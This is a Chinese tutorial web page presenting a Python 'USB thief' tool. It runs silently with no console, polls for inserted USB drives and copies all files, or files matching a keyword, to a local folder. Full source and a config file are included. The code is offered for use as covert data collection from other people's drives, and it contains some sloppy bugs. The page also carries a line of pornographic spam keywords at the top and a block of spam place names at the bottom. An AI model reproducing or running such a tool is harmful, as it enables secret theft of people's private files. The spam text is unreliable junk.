最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實現(xiàn)U盤數(shù)據(jù)復制工具

 更新時間:2025年01月03日 10:20:38   作者:hvinsion  
這篇文章主要為大家詳細介紹了如何使用Python實現(xiàn)一個U盤數(shù)據(jù)復制工具,它可以幫助用戶快速、方便地將U盤中的文件復制到計算機中,希望對大家有所幫助

1. 簡介

顧名思義,U盤小偷是一款功能強大的U盤數(shù)據(jù)復制工具。它可以幫助用戶快速、方便地將U盤中的文件復制到計算機中,此工具簡潔易用,用戶只需簡單更改配置文件具體參數(shù)即可完成對U盤內(nèi)文件的復制工作。

功能:

  • 打包好的程序雙擊運行無控制臺界面彈出,后臺靜默搜索U盤插入狀態(tài),更加隱私下載。
  • 可通過更改config.ini配置文件從而更改檢索U盤的時間間隔、文件copy的目的路徑、可選的copy內(nèi)容等,具體可以參考以下config.ini的文檔說明。
  • 可自定義選擇篩選需要copy的文件內(nèi)容,亦可選擇全部下載。

config.ini文件相關(guān)內(nèi)容

# PASTE_PATH:需要復制到電腦的文件夾路徑
# KEYWORD:關(guān)鍵詞索引,如果留空不填寫則表示復制U盤下的所有文件以及文件夾
# INTERVAL_TIME:更改檢查U盤是否存在的間隔時間,默認1s檢查一次

[config]
PASTE_PATH = D:\usb
kEYWORD = 
INTERVAL_TIME = 5

2. 運行效果

3. 相關(guān)源碼

import os
import logging
import configparser
from psutil import disk_partitions
from time import sleep
from shutil import copytree, copyfile, rmtree, move

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
 
 

    # 讀取API配置
config = configparser.ConfigParser()
config.read('config.ini')
        
pastePATH = config.get('config', 'PASTE_PATH')
ukeyword = config.get('config', 'kEYWORD')
intervalTime = config.get('config', 'INTERVAL_TIME')
  
 
# 獲取U盤的盤符
# disk_partitions() 打印一下他的返回值,就會完全清楚下面這個函數(shù)
def get_usb_dispart():
    for item in disk_partitions():
        if item.opts == "rw,removable": # 可讀、可移動介質(zhì)
            logger.info("發(fā)現(xiàn)USB:%s" % str(item))
            return item.device
    logger.info("沒有發(fā)現(xiàn)USB")
    return None
 
 
# 讀取想要的文件  u盤所有文件或者文件名含有某個字段的文件及文件夾
# 1、文件夾含有該字段:復制文件夾;
# 2、文件含有字段,復制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
    if select is None:# 無篩選規(guī)則,復制所有
        copytree(src, dst)
        logger.info("復制%s盤USB所有內(nèi)容到%s" % (src, dst))
    else: # 復制部分
        paths = os.listdir(os.path.join(src, path)) # 獲取當前路徑下的所有文件及文件夾
        for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夾,還有字符直接復制文件夾;否則遞歸遍歷文件夾下的內(nèi)容
                    try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                    try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("復制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                    get_useb_file(src, item, select, dst)
 
 
if __name__ == "__main__":
    while True:
        path = get_usb_dispart()
        if path is not None:
            get_useb_file(src=path, select=ukeyword, dst=pastePATH)
            break
        sleep(int(intervalTime))

到此這篇關(guān)于Python實現(xiàn)U盤數(shù)據(jù)復制工具的文章就介紹到這了,更多相關(guān)Python U盤數(shù)據(jù)復制內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python用類實現(xiàn)撲克牌發(fā)牌的示例代碼

    Python用類實現(xiàn)撲克牌發(fā)牌的示例代碼

    這篇文章主要介紹了Python用類實現(xiàn)撲克牌發(fā)牌的示例代碼,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2020-06-06
  • Python實現(xiàn)老照片修復之上色小技巧

    Python實現(xiàn)老照片修復之上色小技巧

    你會黑白照片上色嗎,今天小編帶你用python來給黑白照片上個色,這里我們借助百度AI開放平臺的“黑白圖像上色”接口,僅需二十行代碼即可實現(xiàn),感興趣的朋友來看看吧
    2021-10-10
  • 解決python3 HTMLTestRunner測試報告中文亂碼的問題

    解決python3 HTMLTestRunner測試報告中文亂碼的問題

    今天小編就為大家分享一篇解決python3 HTMLTestRunner測試報告中文亂碼的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-12-12
  • Python基于requests庫爬取網(wǎng)站信息

    Python基于requests庫爬取網(wǎng)站信息

    這篇文章主要介紹了python基于requests庫爬取網(wǎng)站信息,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-03-03
  • Python函數(shù)中的不定長參數(shù)相關(guān)知識總結(jié)

    Python函數(shù)中的不定長參數(shù)相關(guān)知識總結(jié)

    今天給大家?guī)淼氖顷P(guān)于Python函數(shù)的相關(guān)知識,文章圍繞著Python不定長參數(shù)展開,文中有非常詳細的介紹及代碼示例,需要的朋友可以參考下
    2021-06-06
  • 使用Python實現(xiàn)視頻拼接效果

    使用Python實現(xiàn)視頻拼接效果

    這篇文章主要為大家詳細介紹了使用Python實現(xiàn)視頻拼接效果的兩種方法,文中的示例代碼講解詳細,感興趣的小伙伴可以跟隨小編一起學習一下
    2025-02-02
  • Pandas出現(xiàn)KeyError的問題解決及分析

    Pandas出現(xiàn)KeyError的問題解決及分析

    本文主要介紹了Pandas出現(xiàn)KeyError的問題解決及分析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2023-01-01
  • Python繪圖庫Pyecharts可視化效果示例詳解

    Python繪圖庫Pyecharts可視化效果示例詳解

    本文將帶您從零開始,逐步掌握使用Pyecharts庫進行數(shù)據(jù)可視化的技能,Pyecharts是一個基于Echarts的Python可視化庫,能夠輕松創(chuàng)建各種交互式圖表和地圖,無論您是數(shù)據(jù)分析新手還是有經(jīng)驗的開發(fā)者,都能幫助您深入了解Pyecharts的使用
    2023-08-08
  • python實現(xiàn)從字符串中找出字符1的位置以及個數(shù)的方法

    python實現(xiàn)從字符串中找出字符1的位置以及個數(shù)的方法

    這篇文章主要介紹了python實現(xiàn)從字符串中找出字符1的位置以及個數(shù)的方法,對于Python字符串操作的學習有一定的幫助與借鑒作用,需要的朋友可以參考下
    2014-08-08
  • 高性能web服務(wù)器框架Tornado簡單實現(xiàn)restful接口及開發(fā)實例

    高性能web服務(wù)器框架Tornado簡單實現(xiàn)restful接口及開發(fā)實例

    Tornado和現(xiàn)在的主流Web服務(wù)器框架(包括大多數(shù)Python的框架)有著明顯的區(qū)別:它是非阻塞式服務(wù)器,而且速度相當快。得利于其 非阻塞的方式和對epoll的運用,Tornado每秒可以處理數(shù)以千計的連接,這意味著對于實時Web服務(wù)來說,Tornado是一個理想的Web框架。
    2014-07-07

最新評論

隆德县| 通河县| 类乌齐县| 琼结县| 军事| 孝感市| 嘉峪关市| 黎川县| 十堰市| 吉水县| 南充市| 民勤县| 玛纳斯县| 巴南区| 临武县| 威宁| 阿城市| 浙江省| SHOW| 新邵县| 惠东县| 政和县| 霍州市| 中江县| 齐齐哈尔市| 宣汉县| 临澧县| 宣恩县| 克东县| 曲阜市| 黄山市| 彰化市| 康平县| 富源县| 芜湖市| 饶阳县| 黄平县| 舒兰市| 郧西县| 商丘市| 尼木县|